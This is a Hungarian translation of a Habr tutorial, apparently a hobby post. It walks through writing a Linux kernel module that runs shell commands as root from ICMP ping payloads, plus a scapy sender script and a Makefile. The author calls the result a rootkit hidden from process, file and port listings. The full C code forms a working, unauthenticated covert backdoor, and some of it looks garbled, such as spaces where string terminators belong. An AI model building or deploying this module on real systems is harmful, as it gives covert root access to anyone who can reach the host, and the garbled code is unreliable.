Röviden összefoglalva: írok egy kernel modult, amely parancsokat olvas az ICMP payloadból, és végrehajtja azokat a szerveren, még akkor is, ha az SSH leállt. A legnagyobb türelmetleneknek itt a teljes kód .
Óvatosan! A tapasztalt C programozók vérző könnyekre sírnak! Lehet, hogy tévedek a terminológiával, de minden kritikát szívesen fogadok. A poszt célja, hogy azokhoz szóljon, akiknek csak a legfelületesebb elképzelésük van a C programozásról, és szeretnének bepillantani a Linux belső működésébe.
Az első írásomhoz érkező kommentekben említést nyert a SoftEther VPN, amely képes különféle "szokásos" protokollok, például HTTPS, ICMP és még DNS alatt is rejtőzni. Csak az első működésével tudok elsősorban foglalkozni, mivel jól ismerem a HTTP(S)-t, míg az ICMP és DNS feletti tunnelinget meg kellett tanulmányoznom.

Igen, 2020-ban tudtam meg, hogy ICMP csomagokba tetszőleges payloadot lehet illeszteni. De jobb későn, mint soha! Mivel pedig ezt meg lehet csinálni, el is kell végezni. Mivel a mindennapjaimban legfőképp a parancssort használom, beleértve az SSH-t is, pont ezért jutott eszembe elsőként az ICMP shell. És hogy teljes legyen a hülyeség bingo, úgy döntöttem, hogy Linux modul formájában írom, egy nyelven, amiről csak csekély fogalmam van. Ez a shell nem fog látszódni a folyamatok listájában, betölthető a kernelbe, és nem fog a fájlrendszeren létezni, nem fog semmi gyanúsat látni a figyelő portok listájában. Képességei szempontjából egy teljes értékű rootkit, de remélem, hogy tovább tudom fejleszteni, és használni tudom mint utolsó remény shellt, amikor a Load Average túl magas ahhoz, hogy SSH-n belépjek és végrehajtsam echo i > /proc/sysrq-trigger, hogy helyreállítsam a hozzáférést újraindítás nélkül.
Fogjunk egy szövegszerkesztőt, alap programozási készségeket Pythonban és C-ben, Google-t, és , amit nem sajnálunk levágni, ha minden tönkremegy (opcionálisan — helyi VirtualBox/KVM/stb), és kezdjünk neki!
Kliensoldal
Azt hittem, hogy az ügyféloldalhoz egy 80 soros scriptet kell írnom, de jónak bizonyultak az emberek, akik elvégezték helyettem . A kód váratlanul egyszerűnek bizonyult, 10 lényeges sorban elfér:
import sys
from scapy.all import sr1, IP, ICMP
if len(sys.argv) < 3:
print('Usage: {} IP "command"'.format(sys.argv[0]))
exit(0)
p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
p.show() A script két argumentumot fogad: az IP címet és a payloadot. A payload elküldése előtt a kulccsal precedálják, run:, szükségünk lesz rá, hogy kizárjuk a véletlenszerű payload-okat.
A kernel jogosultságokat igényel a csomagok létrehozásához, így a scriptet superuser jogokkal kell futtatni. Ne felejtsd el engedélyezni a futtatást és telepíteni a scapy-t. Debian alatt létezik egy csomag, ami így hívják, python3-scapy. Most ellenőrizhetjük, hogyan működik mindez.
A parancs futtatása és kimenete
morq@laptop:~\/icmpshell$ sudo .\/send.py 45.11.26.232 "Helló, világ!"
Kibocsátás kezdete:
.Befejeződött 1 csomag küldése.
*
2 csomagot kaptunk, 1 válasz érkezett, 0 csomag maradt
###[ IP ]###
verzió = 4
ihl = 5
tos = 0x0
hossz = 45
id = 17218
flagok =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
opciók
###[ ICMP ]###
típus = echo-válasz
kód = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Helló, világ!
Így néz ki a sniffelőben
morq@laptop:~\/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
A "root" felhasználóként és a "root" csoportban fut. Ez veszélyes lehet.
Felvevő: 'wlp1s0'
Frame 1: 59 byte az vezetéken (472 bit), 59 byte rögzítve (472 bit) a wlp1s0 interfészen, azonosító 0
Internet Protocol Version 4, Forrás: 192.168.0.240, Cél: 45.11.26.232
Internet Control Message Protocol
Típus: 8 (Echo (ping) kérés)
Kód: 0
Ellenőrző összeg: 0xd603 [helyes]
[Ellenőrző összeg állapot: Jó]
Azonosító (BE): 0 (0x0000)
Azonosító (LE): 0 (0x0000)
Sorrendi szám (BE): 0 (0x0000)
Sorrendi szám (LE): 0 (0x0000)
Adatok (17 byte)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Hossz: 17]
Frame 2: 59 byte vezetékben (472 bit), 59 byte rögzítve (472 bit) a wlp1s0 interfészen, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Típus: 0 (Echo (ping) válasz)
Kód: 0
Ellenőrző összeg: 0xde03 [helyes]
[Ellenőrző összeg állapot: Jó]
Azonosító (BE): 0 (0x0000)
Azonosító (LE): 0 (0x0000)
Sorrendi szám (BE): 0 (0x0000)
Sorrendi szám (LE): 0 (0x0000)
[Kérelmezett keret: 1]
[Válaszidő: 19.094 ms]
Adatok (17 byte)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Hossz: 17]
^C2 csomag rögzítve
A válaszcsomag payload-ja nem változik.
Kernel modul
A Debian virtuális gépen való fordításhoz legalább make és linux-headers-amd64, a többi függőségként fog bekerülni. A cikkben nem adom meg a kódot teljesen, a GitHubon le tudod klónozni.
A hook beállítása
Kezdetben szükségünk lesz két funkcióra a modul betöltéséhez és eltávolításához. Az eltávolító funkció nem kötelező, de akkor sem lesz lehetőség a rmmod futtatására, mivel a modul csak kikapcsoláskor távolítható el.
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
static struct nf_hook_ops nfho;
static int __init startup(void)
{
nfho.hook = icmp_cmd_executor;
nfho.hooknum = NF_INET_PRE_ROUTING;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &nfho);
return 0;
}
static void __exit cleanup(void)
{
nf_unregister_net_hook(&init_net, &nfho);
}
MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);Mi történik itt:
- Két fejlécfájlt húzunk be a modullal és a netfilter-rel való műveletekhez.
- Minden művelet a netfilteren keresztül történik, ahol hooks-at lehet beállítani. Ehhez meg kell határozni egy struktúrát, amelyen a hook be lesz állítva. A legfontosabb, hogy meg kell adni a funkciót, amely a hook-ként fog végrehajtódni:
nfho.hook = icmp_cmd_executor;a funkcióhoz még el fogok jutni.
Ezután beállítottam a csomag kezelésének pillanatát:NF_INET_PRE_ROUTINGmegmondja, hogy a csomagot akkor kell kezelni, amikor az csak most jelent meg a kernelben. Használhatjuk aNF_INET_POST_ROUTINGa csomag kimeneti feldolgozásához a kernelből.
Filter-t állítok be IPv4-re:nfho.pf = PF_INET;.
A hook-omnak a legmagasabb prioritás van beállítva:nfho.priority = NF_IP_PRI_FIRST;
És regisztrálom az adatstruktúrát mint hook:nf_register_net_hook(&init_net, &nfho); - A záró funkcióban a hook el lesz távolítva.
- A licenc meg van határozva, hogy a fordító ne panaszkodjon.
- Funkciók
module_init()ésmodule_exit()más funkciókat definiál a modul inicializálásakor és befejezésénél.
Payload kinyerése
Most már ki kell nyernem a payloadot, ez bizonyult a legnehezebb feladatnak. A kernelben nincsenek beépített funkciók a payloaddal való munkához, csak a magasabb szintű protokollok fejléceit lehet elemezni.
#include <linux/ip.h>
#include <linux/icmp.h>
#define MAX_CMD_LEN 1976
char cmd_string[MAX_CMD_LEN];
struct work_struct my_work;
DECLARE_WORK(my_work, work_handler);
static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct iphdr *iph;
struct icmphdr *icmph;
unsigned char *user_data;
unsigned char *tail;
unsigned char *i;
int j = 0;
iph = ip_hdr(skb);
icmph = icmp_hdr(skb);
if (iph->protocol != IPPROTO_ICMP) {
return NF_ACCEPT;
}
if (icmph->type != ICMP_ECHO) {
return NF_ACCEPT;
}
user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
tail = skb_tail_pointer(skb);
j = 0;
for (i = user_data; i != tail; ++i) {
char c = *(char *)i;
cmd_string[j] = c;
j++;
if (c == ' ')
break;
if (j == MAX_CMD_LEN) {
cmd_string[j] = ' ';
break;
}
}
if (strncmp(cmd_string, "run:", 4) != 0) {
return NF_ACCEPT;
} else {
for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
cmd_string[j] = cmd_string[j+4];
if (cmd_string[j] == ' ')
break;
}
}
schedule_work(&my_work);
return NF_ACCEPT;
}Mi történik:
- További header fájlokat kellett csatlakoztatni, ezúttal az IP- és ICMP-fejlécek manipulálásához.
- Beállítom a maximális karakterhosszt:
#define MAX_CMD_LEN 1976. Miért pontosan így? Mert ha nagyobbat állítok be, a fordító hibát jelez! Már mondták, hogy a stackkel és a heapel kellene foglalkoznom, egyszer biztosan megcsinálom és lehet, hogy javítom a kódot is. Rögtön a következő stringet állítom be, amely tárolni fogja a parancsot:char cmd_string[MAX_CMD_LEN];. Ennek láthatónak kell lennie az összes funkcióban, erről részletesebben beszélek a 9. pontban. - Most inicializálni kell a (
struct work_struct my_work;) struktúrát, és összekötni egy másik funkcióval (DECLARE_WORK(my_work, work_handler);). Arról, hogy miért van erre szükség, a kilencedik pontban beszélek. - Most kinyilvánítom azt a funkciót, amely a hook lesz. A típust és a várt argumentumokat a netfilter határozza meg, minket csak a
skbérdekel. Ez a socket buffer, egy alapvető adatstruktúra, amely minden elérhető információt tartalmaz a csomagról. - A funkció működéséhez két struktúrára és néhány változóra van szükség, beleértve két iterátort.
struct iphdr *iph; struct icmphdr *icmph; unsigned char *user_data; unsigned char *tail; unsigned char *i; int j = 0; - Most már elkezdhetjük a logikát. A modul működéséhez egyetlen csomagra van szükség, mégpedig az ICMP Echo-ra, ezért a beépített funkciókkal elemezzük a buffert és kiszórjuk az összes nem ICMP- és nem Echo-csomagot. A visszatérés
NF_ACCEPTaz elfogadott csomagot jelenti, de a csomagok eldobásához is visszaadhatjátokNF_DROP.iph = ip_hdr(skb); icmph = icmp_hdr(skb); if (iph->protocol != IPPROTO_ICMP) { return NF_ACCEPT; } if (icmph->type != ICMP_ECHO) { return NF_ACCEPT; }Nem ellenőriztem, mi történik, ha nem ellenőrizzük az IP-fejléceket. A C nyelvről szerzett minimális tudásom azt sugallja, hogy kiküszöbölve a további ellenőrzéseket biztosan valami szörnyű fog történni. Örülnék, ha meggyőznének az ellenkezőjéről!
- Most, hogy a csomag biztosan a kívánt típusú, ki lehet nyerni az adatokat. Beépített funkció nélkül először meg kell szerezni a pointert a payload elejére. Ezt egy bizonyos helyen kell megtenni: a pointert az ICMP header elejére kell helyezni, és el kell mozdítani a header méretével. Mindezhez a következő struktúrát használjuk:
icmph:user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
A fejlécnek meg kell egyeznie a terhelés végévelskb, ezért magunkat nukleáris eszközökkel a megfelelő struktúrából nyerjük ki:tail = skb_tail_pointer(skb);.
A képet elraboltam , többet olvashatsz a socket bufferrel kapcsolatban. - Miután megkaptuk a kezdeti és végponti mutatókat, másolni tudjuk az adatokat a karakterláncba
cmd_string, ellenőrizzük, hogy van-e prefixrun:és vagy kidobjuk a csomagot, ha nincs, vagy újra felülírjuk a karakterláncot a prefix eltávolításával. - Nos, most már hívhatunk egy másik kezelőt:
schedule_work(&my_work);. Mivel egy ilyen hívásnál paramétert nem tudunk átadni, a parancsot tartalmazó stringnek globálisnak kell lennie.schedule_work()behelyezi a megadott struktúrával társított funkciót az általános ütemezési sorba, és befejeződik, lehetővé téve, hogy ne várjunk a parancs befejezésére. Ez szükséges, mert a horgonynak nagyon gyorsnak kell lennie. Különben választhatsz: semmi nem fog elindulni vagy kernel panicot kapsz. A késlekedés halálos! - Kész, fogadhatjuk a csomagot a megfelelő visszatéréssel.
Programhívás felhasználói térben
Ez a funkció a legérthetőbb. A neve az DECLARE_WORK(), típusa és a kért argumentumok nem érdekesek. Fogjuk a parancsot tartalmazó stringet, és átadjuk azt az egészben a shellnek. Hadd foglalkozzon ő a parszolással, a binárisok keresésével és mindennel.
static void work_handler(struct work_struct * work)
{
static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
static char *envp[] = {"PATH=/bin:/sbin", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}- Állítsuk be az argumentumokat a karakterlánc tömbben
argv[]. Feltételezem, hogy mindenki tudja, hogy a programok valójában így futnak, és nem egy folyamatos stringgel és szóközökkel. - Állítsuk be a környezeti változókat. Csak a PATH-t helyeztem be minimális útvonalakkal, feltételezve, hogy mindenki már összevonta azokat
/bina/usr/binés/sbina/usr/sbin. Más útvonalak a gyakorlatban meglehetősen ritkán számítanak. - Kész, futtassuk! A kernel funkció
call_usermodehelper()a következő paramétereket várja: a bináris elérési útját, az argumentumok tömbjét, a környezeti változók tömbjét. Itt is feltételezem, hogy mindenki érti az értelmet, hogy az végrehajtható fájl elérési útját külön argumentumként átadjuk, de kérdezhetsz. Az utolsó argumentum azt jelzi, hogy várja-e a folyamat befejezését (UMH_WAIT_PROC), a folyamat indítása (UMH_WAIT_EXEC) vagy egyáltalán nem vár (UMH_NO_WAIT). Van mégUMH_KILLABLE, nem akartam ezzel foglalkozni.
Összeállítás
A kernel modulok összeállítása a kernel saját make keretrendszerén keresztül történik. Meghívva make a speciális könyvtáron belül, amely a kernel verziójához van kötve (itt határozzák meg: KERNELDIR:=/lib/modules/$(shell uname -r)/build), míg a modul helyét a változó tartalmazza M az argumentumokban. Az icmpshell.ko és clean célok teljes mértékben ezt a keretrendszert használják. A obj-m meghatározza a objektum fájlt, amelyből modul készül. A szintaxis, amely átkonvertálja main.o be. icmpshell.o (icmpshell-objs = main.o) számomra nem tűnik túl logikusnak, de maradjon így.
KERNELDIR:=/lib/modules/$(shell uname -r)/build
obj-m = icmpshell.o
icmpshell-objs = main.o
all: icmpshell.ko
icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules
clean:
make -C $(KERNELDIR) M=$(PWD) clean
Összeállítjuk: make. Betöltjük: insmod icmpshell.ko. Kész, ellenőrizhető: sudo ./send.py 45.11.26.232 "date > /tmp/test". Ha a gépeden létrejött egy fájl /tmp/test és abban a lekérdezés küldési dátuma található, akkor mindent jól csináltál, és én is jól csináltam.
Zárás
Az első kernel fejlesztési tapasztalatom sokkal egyszerűbbnek bizonyult, mint amit vártam. Még C fejlesztési tapasztalat nélkül is, a fordító és a Google ajánlásaira támaszkodva írtam egy működő modult, és úgy éreztem magam, mint egy kernel hacker, de egyben script kiddie is. Ezen kívül beléptem a Kernel Newbies csatornára, ahol azt tanácsolták, hogy használjam schedule_work() a hívás helyett call_usermodehelper() maga a hook belsejében, és jogosan gyanakodtak, hogy átverés. Száz sor kód körülbelül egy hetes szabadidős fejlesztést igényelt tőlem. Sikeres tapasztalat, amely lerombolta a személyes mitoszomat a rendszerszintű fejlesztés leküzdhetetlen nehézségéről.
Ha valaki elvállalná a kód-áttekintést a GitHubon, hálás lennék. Majdnem biztos vagyok benne, hogy sok ostoba hibát ejtettem, különösen a szövegekkel való munkában.
Forrás: habr.com

